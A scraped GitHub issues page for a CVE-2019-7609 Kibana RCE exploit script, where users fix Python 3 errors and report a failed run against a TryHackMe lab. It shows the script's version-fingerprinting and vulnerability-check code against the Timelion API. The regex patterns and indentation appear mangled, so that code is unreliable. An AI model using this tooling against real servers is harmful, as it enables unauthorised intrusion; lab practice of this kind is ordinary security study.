landgrey / cve-2019-7609 Goto Github PK

Not getting reverse shell after procedure complete fully.

hi,
i did fix to use this script with python3, i got erros:
TypeError: a bytes-like object is required, not 'str'

i commente my lines with: --FIXED

def get_kibana_version(url):
headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
url = "{}{}".format(url.rstrip("/"), "/app/kibana")
r = requests.get(url, verify=False, headers=headers, timeout=30)
a = (r.content) -- FIXED
b = (a.decode("UTF-8", "replace")) -- FIXED
patterns = ['"version":"(.?)",', '"version":"(.?)",']
for pattern in patterns:
match = re.findall(pattern, b) -- FIXED
if match:
return match[0]
return '9.9.9'

def verify(url):
global version

if not version or not version_compare(["5.6.15", "6.6.1"], version):
    return False
headers = {
    'Content-Type': 'application/json;charset=utf-8',
    'Referer': url,
    'kbn-version': version,
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}'
url = "{}{}".format(url.rstrip("/"), "/api/timelion/run")
r = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
a = (r.content) -- FIXED
b = (a.decode("UTF-8", "replace")) -- FIXED

if r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in b:   --FIXED
    return True
else:
    return False

Hey, I tried your python code, to use it on a machien on TryHackMe (Room Kiba) but it is running into an error

`[-] cannot exploit!
[-] Error on:

Traceback (most recent call last):
File "CVE-2019-7609-kibana-rce.py", line 105, in
version = get_kibana_version(target)
File "CVE-2019-7609-kibana-rce.py", line 23, in get_kibana_version
match = re.findall(pattern, r.content)
File "/usr/lib/python3.6/re.py", line 222, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object`